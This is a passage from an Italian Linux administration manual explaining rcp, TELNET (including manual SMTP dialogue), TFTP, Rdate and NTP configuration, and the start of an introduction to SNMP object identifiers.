Il programma '**rcp**' si avvale di '**rsh**', di conseguenza, dal lato servente occorre il demone '**rshd**' e dal lato del cliente serve anche '**rsh**'. La sintassi per l'uso di '**rcp**' ricalca in linea di massima quella di '**cp**':

```
rcp [opzioni] origine destinazione
```

```
rcp [opzioni] origine... directory
```

I file o le directory indicati tra gli argomenti possono essere espressi nella forma seguente:

```
[[utente@]nodo:]file
```

Se non viene indicato esplicitamente un utente, si intende fare riferimento a un utente remoto con lo stesso nome di quello usato localmente; se non viene indicato il nome o l'indirizzo dell'elaboratore remoto, si intende quello locale.

Quando si fa riferimento a file remoti senza l'indicazione di un percorso assoluto, occorre tenere presente che la directory corrente di un elaboratore remoto corrisponde alla directory personale dell'utente a cui si fa riferimento. Nello stesso modo, occorre tenere presente che, dal momento che '**rcp**' si avvale di '**rsh**', le cose possono cambiare un po' a seconda del tipo di shell abbinato all'utente remoto.

Opzione	Significato mnemonico	Descrizione
`-r`	*recursive*	Se all'interno dei file indicati come origine della copia, si trovano anche directory, queste vengono copiate assieme al loro contenuto, in modo ricorsivo. In tal caso, necessariamente, la destinazione deve essere una directory.
`-p`	*preserve*	Con questa opzione si intende fare in modo che '**rcp**' tenti di riprodurre le stesse proprietà e gli stessi permessi nei file di destinazione, senza tenere conto del valore della maschera dei permessi (*umask*). Quando questa opzione non viene indicata, nel caso in cui il file di destinazione esista già, vengono mantenuti i permessi e le proprietà di quello esistente, mentre se i file di destinazione vengono creati, si utilizzano i permessi del file originale, filtrati attraverso la maschera dei permessi.

Seguono alcuni esempi.

- `$` **`rcp roggen.brot.dg:/home/tizio/letterina ./letterina`** [*Invio*]

  Copia il file '`/home/tizio/letterina`' contenuto nell'elaboratore *`roggen.brot.dg`*, nella directory corrente dell'elaboratore locale.

- `$` **`rcp roggen.brot.dg:\~/letterina ./letterina`** [*Invio*]

  Esegue un'operazione simile a quella dell'esempio precedente, ma in questo caso si utilizza un metacarattere, costituito dalla tilde, che deve essere interpretato dalla shell remota. Per evitare che la tilde venga invece interpretata dalla shell locale, viene utilizzata la barra obliqua inversa per proteggerla.

42.8 TELNET

TELNET è un protocollo che permette di effettuare un collegamento con un altro elaboratore e di operare su quello, come se si stesse utilizzando un suo terminale. Dal lato del servente occorre il demone '**telnetd**' (o meglio '**in.telnetd**'), mentre dal lato del cliente si utilizza normalmente il programma '**telnet**'.

Il cliente TELNET è molto importante anche come programma diagnostico per instaurare un collegamento manuale con una porta e iniziare quindi un colloquio diretto con il protocollo TCP. In questo caso, il demone '**telnetd**' non viene coinvolto.[20]

42.8.1 Dal lato del servente

Come già accennato, per eseguire un accesso in un elaboratore remoto attraverso il programma '**telnet**', è necessario che il demone '**in.telnetd**' sia in funzione in quell'elaboratore:

```
in.telnetd [opzioni]
```

Il demone '**in.telnetd**' è gestito normalmente dal supervisore dei servizi di rete e filtrato dal TCP wrapper. Nell'esempio seguente, viene mostrata la riga di '/etc/inetd.conf' in cui si dichiara il suo possibile utilizzo per quanto riguarda il caso particolare di Inetd:

```
...
telnet  stream  tcp     nowait  root    /usr/sbin/tcpd  in.telnetd
...
```

Se è presente il file '/etc/issue.net', viene utilizzato da '**in.telnetd**' per visualizzare un messaggio introduttivo, non appena si instaura un collegamento. Si tratta di un file di testo con lo stesso ruolo del file '/etc/issue' (15.15.2) che invece viene utilizzato da un programma Getty.

Il file '/etc/issue.net' può contenere alcune sequenze di escape che vengono poi trasformate in vario modo nel momento della visualizzazione del messaggio. La tabella 42.103 ne mostra l'elenco.

Tabella 42.103. Elenco dei codici di escape utilizzabili all'interno del file '/etc/issue.net'.

Codice	Significato mnemonico	Descrizione
`%t`	*terminal*	Il terminale corrente.
`%h`	*host*	Il nome completo del sistema (FQDN).
`%D`	*domain*	Il nome del dominio NIS.
`%d`	*date*	La data e l'ora attuale.
`%s`	*system*	Il nome del sistema operativo.
`%m`	*machine*	Il tipo di hardware.

Codice	Significato mnemonico	Descrizione
`%r`	*release*	Il rilascio del sistema operativo.
`%v`	*version*	La versione del sistema operativo.
`%%`		Equivale a un carattere percentuale singolo.

42.8.2 Dal lato del cliente

L'accesso a un elaboratore remoto viene fatto principalmente attraverso il programma '**`telnet`**', il quale permette di operare come se ci si trovasse su un terminale di quel sistema:

```
telnet [opzioni] [nodo_remoto [porta]]
```

Se l'eseguibile '**`telnet`**' viene avviato senza specificare il nodo con il quale ci si vuole connettere, questo inizia a funzionare in modalità di comando, visualizzando l'invito:

```
telnet>
```

Quando l'eseguibile '**`telnet`**' riesce a connettersi al sistema remoto, si opera come se si fosse seduti davanti a un terminale di quel sistema. Ma per poter dare dei comandi a '**`telnet`**' occorre tornare temporaneamente alla modalità di comando, cosa che si ottiene utilizzando il carattere di escape. Questo carattere di escape non corrisponde alla pressione del tasto [*Esc*], ma di solito alla combinazione [*Ctrl]*] (*control* + *parentesi quadra chiusa*). Tale convenzione può essere cambiata ed è una cosa quasi necessaria dal momento che utilizzando la tastiera italiana non è possibile ottenere le parentesi quadre se non in combinazione con [*AltGR*]. Diversamente, l'unico modo per poter ottenere la combinazione [*Ctrl]*] è quello di passare a un'altra console virtuale, attivare la mappa della tastiera USA, tornare sulla console virtuale in cui è in funzione '**`telnet`**' ed eseguire la combinazione.

La comunicazione tra il cliente TELNET e il sistema remoto può essere di tre tipi:

TELNET LINEMODE	è il tipo preferito ed è il primo tipo di comunicazione che il cliente TELNET tenta di instaurare con il sistema remoto;
character at a time	in questa modalità ogni carattere viene trasmesso singolarmente al sistema remoto;
old line by line	i dati vengono trasmessi a blocchi di righe e ciò che viene scritto, riappare sul terminale locale.

Segue la descrizione di alcune opzioni e di alcuni argomenti della riga di comando.

Opzione o argomento	Significato mnemonico	Descrizione
`-4`		Richiede espressamente un collegamento con IPv4.
`-6`		Richiede espressamente un collegamento con IPv6.
`-8`		Tenta di negoziare una connessione a 8 bit.

Opzione o argomento	Significato mnemonico	Descrizione
`-d`	*debug*	Attiva inizialmente il controllo diagnostico.
`-a`	*auto*	Tenta di eseguire un accesso automatico.
`-n` ***file_traccia***		Registra le azioni effettuate durante il collegamento all'interno del file indicato.
`-l` ***utente***	*login*	Definisce il nominativo-utente da utilizzare per l'accesso nel sistema remoto.
`-e` ***carattere_di_escape***	*escape*	Permette di definire una sequenza diversa per il cosiddetto carattere di escape. Il valore predefinito è '**`^]`**' che non è tanto compatibile con la tastiera italiana.
nodo_remoto		Identifica il sistema remoto con il quale collegarsi. Può essere espresso in qualunque modo valido.
porta		Identifica il numero di porta (in forma numerica o attraverso il nome corrispondente). Se non viene specificato, si utilizza il valore predefinito per le connessioni TELNET: 23.

Segue la descrizione di alcuni dei comandi che possono essere usati in modo interattivo.

Comando	Descrizione
`close`	Chiude la connessione con l'elaboratore remoto.
`display` [***argomento***...]	Visualizza tutti o alcuni dei valori delle impostazioni che si possono definire attraverso il comando '**`set`**'.
`mode` ***tipo_di_modalità***	Permette di attivare una modalità particolare. L'attivazione della modalità richiesta dipende dal contesto e dalle possibilità offerte dal sistema remoto.
`mode character`	Attiva la modalità di comunicazione a un carattere alla volta.
`mode line`	Tenta di abilitare la modalità di comunicazione *TELNET LINEMODE*. Se non è possibile, si cerca di optare per la modalità *old line by line*.
`mode isig` `mode -isig`	Abilita o disabilita la modalità '**`TRAPSIG`**' che riguarda la comunicazione *TELNET LINEMODE*.
`mode edit` `mode -edit`	Abilita o disabilita la modalità '**`EDIT`**' che riguarda la comunicazione *TELNET LINEMODE*.
`mode softtab` `mode -softtab`	Abilita o disabilita la modalità '**`SOFT_TAB`**' che riguarda la comunicazione *TELNET LINEMODE*.
`mode litecho` `mode -litecho`	Abilita o disabilita la modalità '**`LIT_ECHO`**' che riguarda la comunicazione *TELNET LINEMODE*.
`mode ?`	Visualizza una breve guida per il comando '**`mode`**'.

Comando	Descrizione
open ***nodo_remoto*** ↩ ↪ [-l ***utente***] [-***porta***]	Apre una connessione con l'elaboratore remoto indicato. Se non viene specificata la porta, si utilizza il valore predefinito per le connessioni TELNET.
quit	Chiude la connessione (se esiste una connessione) e termina l'esecuzione di '**telnet**'. Durante la modalità di comando, è sufficiente premere la combinazione di tasti necessaria a ottenere il codice di EOF per terminare la sessione di lavoro.
send ***argomenti***	Permette di inviare uno o più sequenze di caratteri al sistema remoto.
set ***argomento valore*** unset ***argomento valore***	Il comando '**set**' attiva o specifica il valore di una variabile determinata, mentre '**unset**' disabilita o pone al valore di *Falso* la variabile specificata.
! [***comando***]	Permette di eseguire il comando indicato in una subshell all'interno del sistema locale.
status	Visualizza lo stato corrente della connessione.
? [***comando***]	Visualizza una breve guida del comando indicato o l'elenco dei comandi disponibili.

Se viene predisposto il file '`/etc/telnetrc`' a livello globale, o anche il file '`~/.telnetrc`' a livello personale, questi vengono letti quando si stabilisce un collegamento (naturalmente il secondo prevale sul primo). Se al loro interno appare un riferimento all'elaboratore con il quale ci si è collegati, vengono eseguite le istruzioni relative. Le righe che iniziano con il simbolo '**#**' sono commenti che terminano alla fine della riga. Le righe che non contengono spazi anteriori, dovrebbero iniziare con il nome di un nodo remoto; le righe successive che cominciano con almeno uno spazio, sono considerate come una serie di comandi da eseguire automaticamente all'atto della connessione con quell'elaboratore.

42.8.3 Colloquiare con una porta

Un cliente TELNET è un ottimo strumento per eseguire una connessione TCP diagnostica con una porta di un nodo, sia remoto, sia locale. Naturalmente, per poter utilizzare questo sistema occorre conoscere il protocollo utilizzato dal demone con il quale ci si collega.[21]

L'esempio classico è l'invio di un messaggio di posta elettronica attraverso una connessione diretta con il servente SMTP. Dal file '`/etc/services`' si determina che il servizio SMTP (*Simple mail transfer protocol*) corrisponde alla porta 25, ma si può anche utilizzare semplicemente il nome '**smtp**'. Nell'esempio, si instaura un collegamento con il servente SMTP in funzione nel nodo *roggen.brot.dg*.

$ **telnet roggen.brot.dg smtp** [*Invio*]

```
Trying 192.168.1.2...
Connected to roggen.brot.dg.
Escape character is '^]'.
220 roggen.brot.dg ESMTP Sendmail 8.8.5/8.8.5; Thu, 11 Sep 1997 19:58:15 +0200
```

HELO brot.dg [*Invio*]

```
250 roggen.brot.dg Hello dinkel.brot.dg [192.168.1.1], pleased to meet you
```

MAIL From: <daniele@dinkel.brot.dg> [*Invio*]

```
250 <daniele@dinkel.brot.dg>... Sender ok
```

RCPT To: <toni@dinkel.brot.dg> [*Invio*]

```
250 <toni@dinkel.brot.dg>... Recipient ok
```

DATA [*Invio*]

```
354 Enter mail, end with "." on a line by itself
```

Subject: Saluti. [*Invio*]

Ciao Antonio, [*Invio*]

come stai? [*Invio*]

Io sto bene e mi piacerebbe risentirti. [*Invio*]

Saluti, [*Invio*]

Daniele [*Invio*]

. [*Invio*]

```
250 TAA02951 Message accepted for delivery
```

QUIT [*Invio*]

```
221 dinkel.brot.dg closing connection
Connection closed by foreign host.
```

L'esempio mostrato dovrebbe funzionare senza bisogno di dare delle opzioni particolari all'eseguibile '**telnet**'; tuttavia, in certi casi può essere necessario l'uso dell'opzione '**-8**' per evitare che alcuni caratteri trasmessi o ricevuti possano essere alterati.

42.9 Trivial FTP

Il protocollo TFTP, o *Trivial FTP*, è un sistema di trasferimento di file senza autenticazione, paragonabile alla condivisione del file system attraverso il protocollo NFS. Si usa prevalentemente per consente l'avvio di sistemi senza disco (*diskless*).[22]

È importante sapere che questo tipo di servizio esiste, anche se non si intende sfruttare la possibilità di installare sistemi senza disco nella propria rete locale, eventualmente per sapere controllare che sia disattivato.

42.9.1 Dal lato del servente

Per poter offrire il servizio TFTP, occorre che nel servente sia disponibile il demone '**tftpd**' (o meglio '**in.tftpd**'), avviato generalmente attraverso il supervisore dei servizi di rete.

Data la debolezza di questo servizio che non richiede alcuna forma di identificazione da parte dei clienti, è necessario indicare una o più directory a partire dalle quali si consente di accedere. Se ciò non viene indicato, si fa riferimento a '/tftpboot/' in modo predefinito, ma è frequente la configurazione che utilizza la directory '/var/lib/tftpboot/':

```
in.tftpd [directory...]
```

Di solito si utilizza anche l'opzione '**-s**' per stabilire implicitamente che i percorsi assoluti richiesti si devono intendere successivi alla directory indicata come argomento o a '/tftpboot/' in sua mancanza:

```
in.tftpd -s [directory...]
```

Dal momento che il demone viene controllato dal supervisore dei servizi di rete, conviene controllare la configurazione di questo. L'esempio seguente si riferisce al file '/etc/inetd.conf' per quanto riguarda il caso particolare di Inetd, dove si indica espressamente l'uso della directory '/var/lib/tftpboot/':

```
...
tftp dgram udp wait root /usr/sbin/tcpd in.tftpd -s /var/lib/tftpboot
...
```

42.9.2 Dal lato del cliente

Dal lato del cliente, l'uso del protocollo TFTP avviene probabilmente in modo implicito, all'interno di un'applicazione complessa che se ne avvale. Eventualmente, soprattutto per verificare il funzionamento di un servizio TFTP, è possibile utilizzare il programma '**tftp**' che viene mostrato qui.

Quando si effettua la connessione con un servente TFTP, non viene richiesta alcuna parola d'ordine e non viene eseguito alcun ***chroot()***; tuttavia è consentito l'accesso alle sole directory dichiarate nella riga di comando del demone corrispondente, oppure della sola '/tftpboot/'.

```
tftp [nodo]
```

Il programma '**tftp**' si comporta in modo simile a un cliente FTP (descritto nel capitolo 44), ma molto semplificato in confronto a quello. Il programma funziona in modo interattivo, attraverso una serie di comandi che vengono inseriti quando viene visualizzando l'invito:

```
tftp>
```

Eventualmente si può ottenere l'elenco dei comandi disponibili con il comando '**?**'.

A titolo di esempio viene mostrata la sequenza di una connessione ipotetica con il servente *dinkel.brot.dg*, allo scopo di prelevare una copia del file remoto '/var/lib/tftpboot/192.168.1.10/etc/crontab'. In questo caso, il demone '**tftpd**' è stato avviato senza l'opzione '**-s**':

```
$ tftp [Invio]

tftp> connect dinkel.brot.dg [Invio]

tftp> get /var/lib/tftpboot/192.168.1.10/etc/crontab↩
↪     /tmp/mio_crontab [Invio]

tftp> quit [Invio]
```

In questo caso, invece, il demone '**tftpd**' è stato avviato con l'opzione '**-s**':

```
$ tftp [Invio]

tftp> connect dinkel.brot.dg [Invio]

tftp> get /192.168.1.10/etc/crontab /tmp/mio_crontab [Invio]

tftp> quit [Invio]
```

42.10 Allineamento della data e dell'orario attraverso la rete

Il problema della sincronizzazione dell'orologio interno all'elaboratore con quello di altri nodi di rete può essere risolto almeno in due modi differenti: attraverso il protocollo TIME di Rdate e il protocollo NTP. Il protocollo NTP, a differenza di Rdate, si presta per la realizzazione di un sistema articolato di elaboratori che mantengono una sincronizzazione molto precisa tra di loro; in questo capitolo, il protocollo NTP viene visto solo per ottenere l'allineamento di un nodo di rete locale, con il quale si possono poi allineare gli altri nodi della propria rete, mentre si omette la descrizione della procedura necessaria a partecipare al sistema mondiale di gestione di questo servizio.

42.10.1 Rdate

Quasi tutti i nodi di rete hanno un orologio interno e offrono il servizio TIME attraverso la porta 37, come si vede dal file '/etc/services':

```
time    37/tcp  timeserver
time    37/udp  timeserver
```

In un sistema Unix tipico, questo servizio è offerto direttamente dal supervisore dei servizi di rete e nel caso di Inetd, il file di configurazione '/etc/inetd.conf' contiene normalmente la riga seguente:

```
time            stream  tcp     nowait  root    internal
```

Come si può osservare, non viene avviato alcun demone esterno per la sua gestione.

Per attingere al servizio, si usa normalmente Rdate, con l'eseguibile '**rdate**', che può prevedere la presenza di opzioni:

rdate [*opzioni*] ***nodo*** [*porta*]

In mancanza dell'indicazione del numero della porta da contattare presso il nodo remoto, si intende la porta 37; in mancanza di opzioni, si intende aggiornare l'orologio locale contestualmente all'interrogazione del servizio:

Opzione	Significato mnemonico	Descrizione
-p	*print*	Si limita a visualizzare la data e l'orario dell'elaboratore remoto.
-s	*set*	Si limita a impostare l'orologio locale con la data e l'orario dell'elaboratore remoto, senza visualizzare l'informazione.
-a	*adjust*	Imposta l'orologio locale in modo graduale.

Generalmente, non ci si limita a utilizzare Rdate per allineare l'orologio dell'elaboratore locale con quello di un nodo di rete remoto, ma si provvede anche ad aggiornare l'orologio hardware di conseguenza, come mostra l'esempio seguente:

rdate dinkel.brot.dg [*Invio*]

```
Mon May 12 17:04:21 2003
```

clock -u -w [*Invio*]

Se al posto del programma '**clock**' si dispone di '**hwclock**', l'aggiornamento dell'orologio hardware si ottiene così:

hwclock -u -w [*Invio*]

Come si vede, l'opzione '**-u**' implica che l'orologio hardware funzioni facendo riferimento al tempo universale.

Nella sezione successiva viene descritto l'uso del protocollo NTP; tuttavia, se dovesse risultare difficile ottenere accesso da un servente NTP pubblico, si può tentare di usare Rdate per ottenere l'ora esatta da un nodo, che si presume possa offrire un orario abbastanza esatto:

rdate time.ien.it [*Invio*]

42.10.2 NTP

Il protocollo NTP (*Network time protocol*) consente di gestire una serie di nodi di rete in grado di sincronizzare tra loro l'orologio interno di ognuno.

La dipendenza dall'esterno per quanto riguarda la gestione degli orologi dei propri elaboratori, può costituire un problema di sicurezza. A questo proposito, il protocollo NTP offrirebbe anche la possibilità di utilizzare comunicazioni cifrate e altri sistemi di sicurezza; tuttavia qui non vengono considerati.

Per l'accesso a un servente NTP in qualità di cliente e per la gestione di servente in proprio, si utilizza di solito la «distribuzione NTP»,[23] rappresentata in pratica da un pacchetto che dovrebbe chiamarsi Ntp, o qualcosa del genere. I componenti più importanti di questa distribuzione sono il demone '**`ntpd`**' (oppure '**`xntpd`**') e il programma '**`ntpdate`**'.

42.10.2.1 Accesso a un servente NTP

Per lo scopo di questa sezione, si accede a un servente NTP solo per ottenere l'informazione sull'ora esatta. Ciò si ottiene molto facilmente con il programma '**`ntpdate`**', il quale è anche in grado di aggiustare l'orario del sistema. Tuttavia, prima di vedere come funziona, occorre sapere dove è possibile ottenere tale servizio e quali sono le regole di comportamento.

Trascurando i problemi legati alla gestione dei serventi NTP pubblici, quello che c'è da sapere è che questi sono organizzati in modo gerarchico a due strati. L'accesso ai serventi del primo strato è da escludere in generale, a meno che questo serva per gestire un servizio privato dal quale attingono un numero molto grande di altri clienti; l'accesso ai serventi del secondo strato è consentito quasi a tutti (ognuno ha però la sua politica) e in generale il risultato è accurato in modo più che sufficiente. Una volta chiarito che si accede di norma solo ai serventi di secondo livello, è opportuno sceglierne alcuni relativamente vicini (per quanto questo non sia indispensabile). L'elenco dei serventi NTP, con l'indicazione delle politiche rispettive, può essere trovato a partire dal sito ⟨*http://www.ntp.org*⟩; tuttavia, per le esigenze dell'utente finale tipico, è sufficiente fare riferimento all'indirizzo *`pool.ntp.org`*.

> L'indirizzo *`pool.ntp.org`* si traduce in una serie di indirizzi IP alternativi, organizzati in modo tale che la trasformazione dell'indirizzo in nome generi ogni volta un indirizzo differente.

Ai fini degli esempi che si vogliono mostrare, viene utilizzato ripetutamente l'indirizzo *`pool.ntp.org`*. A titolo di verifica si può controllare a cosa corrisponde; si potrebbe ottenere un elenco simile a quello che appare di seguito:

$ **`host pool.ntp.org`** [*Invio*]

```
pool.ntp.org has address 203.109.252.7
pool.ntp.org has address 206.168.231.98
pool.ntp.org has address 213.96.80.106
pool.ntp.org has address 213.239.193.168
pool.ntp.org has address 216.165.129.244
pool.ntp.org has address 24.34.79.42
pool.ntp.org has address 62.101.81.203
pool.ntp.org has address 62.212.114.68
pool.ntp.org has address 65.211.109.11
pool.ntp.org has address 69.17.92.121
pool.ntp.org has address 129.240.64.3
pool.ntp.org has address 130.60.7.44
pool.ntp.org has address 130.94.201.36
pool.ntp.org has address 198.144.202.250
pool.ntp.org has address 202.74.170.194
```

Per acquisire l'ora esatta da uno o più serventi NTP e per aggiustare di conseguenza l'orario del sistema locale, si può usare '**ntpdate**':

ntpdate [*opzioni*] *servente_ntp*...

L'utilizzo di '**ntpdate**' è adatto particolarmente per gli elaboratori che sono connessi alla rete esterna solo saltuariamente, dal momento che si può effettuare l'allineamento esattamente nel momento in cui ciò è possibile. Con l'uso delle opzioni necessarie, si può evitare che '**ntpdate**' allinei l'orario del sistema, limitandosi a mostrare il risultato; in questi casi, può essere utilizzato anche dagli utenti comuni e non soltanto da '**root**'.

'**ntpdate**' non può essere avviato se è già in funzione il demone '**ntpd**', o un altro analogo.

Tabella 42.120. Alcune opzioni della riga di comando di '**ntpdate**'.

Opzione	Significato mnemonico	Descrizione
-b		In condizioni normali, '**ntpdate**' può scegliere di aggiustare l'orario aggiungendo o sottraendo secondi, oppure intervenendo sulla frequenza della base dei tempi. Per evitare che venga scelta la seconda ipotesi, si utilizza questa opzione, che limita la possibilità alla modifica dell'orario senza altri interventi. In condizioni normali, dovrebbe essere preferibile l'uso di '**ntpdate**' con questa opzione.
-d	*debug*	Invece di allineare l'orario del sistema, vengono mostrati i passi compiuti da '**ntpdate**', a scopo diagnostico.
-q	*query*	Invece di allineare l'orario del sistema, mostra solo il risultato dell'interrogazione dei serventi.
-s	*syslog*	Invece di mostrare i messaggi sullo schermo, li devia nel registro del sistema, cosa che facilita l'utilizzo di '**ntpdate**' all'interno di script avviati automaticamente in circostanze determinate.

Gli esempi seguenti completano la descrizione del funzionamento di '**ntpdate**'.

- # **ntpdate -q pool.ntp.org pool.ntp.org pool.ntp.org** [*Invio*]

  Visualizza l'ora esatta ottenuta da tre serventi ottenuti dallo stesso nome *pool.ntp.org*.

- # **ntpdate -b pool.ntp.org pool.ntp.org pool.ntp.org** [*Invio*]

  Aggiusta l'orario del sistema in base a quanto determinato da tre serventi *pool.ntp.org*.

- # **ntpdate -b -s pool.ntp.org pool.ntp.org pool.ntp.org** [*Invio*]

  Come nell'esempio precedente, con la differenza che ogni segnalazione viene inviata nel registro del sistema.

42.10.2.2 Preparazione di un servente NTP per l'utilizzo locale

La preparazione di un servente NTP per offrire il servizio solo alla propria rete locale, senza pretendere di contribuire alla rete NTP pubblica, è un'operazione abbastanza semplice. In particolare, se il nodo di rete che svolge tale ruolo è connesso continuamente alla rete esterna, si può usare lo stesso demone '**`ntpd`**' per allineare l'orologio dell'elaboratore in cui si trova a funzionare, senza bisogno di utilizzare '**`ntpdate`**', considerato che questo non può essere avviato se è già attivo il demone.

Il funzionamento del demone '**`ntpd`**' dipende dalla configurazione stabilita attraverso il file '`/etc/ntp.conf`', mentre il programma '**`ntpdate`**' ignora questo file completamente.

Il file '`/etc/ntp.conf`' è il più importante per ciò che riguarda il funzionamento del demone '**`ntpd`**'. È composto da direttive che occupano ognuna una riga; i commenti sono preceduti dal simbolo '**`#`**' e nello stesso modo sono ignorate le righe bianche e quelle vuote. Senza entrare nel dettaglio delle varie direttive disponibili, viene descritto un esempio di massima.

```
# /etc/ntp.conf

logfile /var/log/xntpd
driftfile /var/lib/ntp/ntp.drift
statsdir /var/log/ntpstats/

statistics loopstats peerstats clockstats
filegen loopstats file loopstats type day enable
filegen peerstats file peerstats type day enable
filegen clockstats file clockstats type day enable

# Serventi
server pool.ntp.org
server pool.ntp.org
server pool.ntp.org
```

L'elenco seguente descrive alcune di queste direttive del file di configurazione.

Direttiva	Descrizione
`logfile` ***file_delle_registrazioni***	Con la direttiva '**`logfile`**' viene dichiarato il percorso del file delle registrazioni. Se non venisse utilizzata tale direttiva, i messaggi di questo tipo sarebbero diretti normalmente al registro del sistema. Nel caso dell'esempio, si fa riferimento al file '`/var/log/xntpd`'.
`driftfile` ***file_dello_scarto***	Con la direttiva '**`driftfile`**' viene dichiarato il percorso del file utilizzato da '**`ntpd`**' per annotarsi lo scarto tra la frequenza dell'oscillatore locale e ciò che dovrebbe essere in realtà. Dal momento che '**`ntpd`**' deve poter cambiare nome al file e ricrearlo nuovamente, non può trattarsi di un collegamento simbolico. In generale, è sufficiente lasciare che sia '**`ntpd`**' a occuparsi di creare e gestire questo file.
`statsdir` ***directory_dei_file_statistici***	Con la direttiva '**`statsdir`**' viene dichiarato il percorso di una directory all'interno della quale possono essere creati dei file di informazioni statistiche, dichiarati a loro volta attraverso le direttive '**`statistics`**' e '**`filegen`**'.

Direttiva	Descrizione
`statistics` ***tipo_statistica***...	I tipi di informazioni statistiche che si vogliono accumulare sono definiti attraverso la direttiva '**`statistics`**', per mezzo di parole chiave prestabilite: '**`loopstats`**', '**`peerstats`**' e '**`clockstats`**'. In generale, conviene attivare la gestione di tutti i tipi di informazioni statistiche, così come si vede nell'esempio.
`filegen` ***tipo_statistica*** ↩ ↪ [`file` ***file***] ↩ ↪ [`type` ***tipo_di_analisi***] ↩ ↪ [`enable`|`disable`]	Per abbinare all'accumulo di un tipo di statistica un file vero e proprio, si utilizza la direttiva '**`filegen`**'. Nell'esempio vengono creati tre file, con il nome corrispondente al tipo di statistica di cui si occupano. Per la precisione, la direttiva '**`filegen`**' serve anche per definire il modo in cui vanno gestite diverse generazioni dei file che vengono creati. In pratica, il tipo stabilito attraverso l'argomento dell'opzione '**`type`**', permette di indicare con quale frequenza devono essere archiviati i file. L'esempio mostra la richiesta di utilizzare generazioni giornaliere (l'argomento '**`day`**') e questo, salvo esigenze particolari, dovrebbe andare bene in generale.
`server` ***nodo*** [`prefer`]	Le direttive più importanti per lo scopo che ci si prefigge in questo capitolo, sono quelle che stabiliscono i nomi dei serventi di riferimento per ottenere le informazioni sull'orario. In generale, più sono questi serventi, meglio è. Se uno di questi serventi viene considerato come quello più attendibile, si può aggiungere la parola chiave '**`prefer`**', come si vede nello schema sintattico.

Il demone '**`ntpd`**' (oppure '**`xntpd`**') serve da una parte per allineare continuamente l'orario del sistema locale, quando questo si trova connesso costantemente a una rete che gli consente di accedere ai suoi serventi di riferimento, in base alla configurazione del file '`/etc/ntp.conf`', con le direttive '**`server`**'. Dall'altra parte, questo demone offre anche il servizio NTP, basandosi sull'orologio del sistema locale:

`ntpd` [***opzioni***]

In una rete chiusa, in cui non ci sia la possibilità di raggiungere altri serventi NTP, il demone '**`ntpd`**' può essere utile per allestire il proprio servizio NTP locale, in modo da assicurare la sincronizzazione degli altri elaboratori della propria rete.

All'interno di questi due estremi, in una rete in cui un nodo abbia solo **saltuariamente** accesso alla rete esterna, quel nodo potrebbe essere allineato (quando possibile), al tempo di riferimento ottenuto dall'esterno, fungendo a sua volta da servente locale per l'allineamento successivo della propria rete. Tuttavia, in questo caso si aggiunge il problema di procedere all'allineamento in base alle fonti esterne, esattamente nel momento in cui il collegamento è disponibile; ma per questo si utilizza prevalentemente il programma '**`ntpdate`**' che però non può essere avviato quando il demone è già in funzione. Il problema si risolve evidentemente con uno script che, prima disattiva '**`ntpd`**', quindi allinea l'orario con '**`ntpdate`**', quindi rimette in funzione '**`ntpd`**'.

Opzione	Descrizione
`-c` *file_di_configurazione*	In generale, il file di configurazione utilizzato da '**`ntpd`**' è '`/etc/ntp.conf`'. Con questa opzione si può indicare un file differente, oppure si può confermare la collocazione standard, nel caso i sorgenti siano stati compilati indicando posizioni differenti.
`-d`	La presenza di questa opzione, che può essere indicata anche ripetutamente, aumenta il livello di dettaglio delle informazioni diagnostiche che si ottengono (nel registro del sistema o in un altro file stabilito in base alla configurazione).
`-l` *file_delle_registrazioni*	Equivalente alla direttiva '**`logfile`**' nel file di configurazione.
`-f` *file_dello_scarto*	Equivalente alla direttiva '**`driftfile`**' nel file di configurazione.
`-s` *directory_dei_file_statistici*	Equivalente alla direttiva '**`statsdir`**' nel file di configurazione.

L'esempio seguente mostra uno script molto semplificato per l'avvio e la conclusione del servizio NTP, attraverso il controllo del demone '**`ntpd`**'. In pratica, il demone viene avviato senza opzioni di alcun tipo, confidando che legga correttamente il file di configurazione.

```
#!/bin/sh

test -f /usr/sbin/ntpd || exit 0

case "$1" in
  start)
        printf "Avvio del servizio NTP: "
        /usr/sbin/ntpd
        echo
        ;;
  stop)
        printf "Disattivazione del servizio NTP: "
        killall ntpd
        echo
        ;;
  *)
        echo "Utilizzo: ntpd {start|stop}"
        exit 1
esac
```

Alcune distribuzioni GNU/Linux predispongono uno script del genere, in cui, prima dell'avvio del demone '**`ntpd`**' eseguono '**`ntpdate`**' per iniziare con un orologio già allineato. In generale, questa potrebbe essere una buona idea; tuttavia, se questo script viene avviato quando non si può accedere ai serventi NTP a cui si vuole fare riferimento, '**`ntpdate`**' blocca la procedura di avvio troppo a lungo.

Il pezzo di script che segue rappresenta proprio il caso in cui viene avviato anche '**`ntpdate`**' prima di mettere in funzione '**`ntpd`**'. Si osservi il fatto che nella riga di comando devono apparire i serventi NTP, perché il file di configurazione di '**`ntpd`**' non lo riguarda.

```
    start)
            printf "Avvio del servizio NTP: "
            /usr/sbin/ntpdate -b -s pool.ntp.org pool.ntp.org pool.ntp.org
            /usr/sbin/ntpd
            echo
            ;;
```

42.11 SNMP

Il protocollo SNMP (*Simple network management protocol*) ha lo scopo di consentire il controllo di apparecchiature raggiungibili attraverso la rete, fornendo un modo per pubblicare delle informazioni, che in parte possono anche essere rese modificabili.

Questa sezione introduce all'uso del protocollo SNMP, allo scopo di interrogare genericamente il servizio e di attivare un servente SNMP, utilizzando NET SNMP[24] in un sistema GNU/Linux. Viene invece omessa la spiegazione di come attivare delle «trappole».

42.11.1 Nomi delle variabili, OID e MIB

Le informazioni a cui è possibile accedere attraverso il protocollo SNMP sono strutturate ad albero, in modo tale da potervi fare riferimento attraverso l'indicazione di un percorso, secondo la forma '*...***.***a***.***b***.***c***.***...*', dove al posto delle lettere (***a***, ***b***, ***c***, ecc.), possono apparire dei nomi (stringhe alfanumeriche per le quali non conta la distinzione tra maiuscole e minuscole) o dei valori numerici interi. Naturalmente, l'associazione tra nomi e numeri, viene definita dagli standard che riguardano il protocollo SNMP.

Il percorso in questione si legge da sinistra verso destra, descrivendo con dettaglio sempre maggiore la variabile a cui si vuole fare riferimento. Un percorso «completo», inizia con un punto, a indicare la radice dell'albero che rappresenta la struttura complessiva delle variabili; un percorso che inizia senza punto, implica l'omissione di una porzione iniziale consueta del percorso stesso, costituita da: '`.iso.org.dod.internet.mgmt.mib-2.`', ovvero '`.1.3.6.1.2.1.`'.

I percorsi di esempio seguenti, sono da ritenere tutti uguali:

- '`.iso.org.dod.internet.mgmt.mib-2.system.sysDescr.0`'
- '`.1.3.6.1.2.1.1.sysdescr.0`'
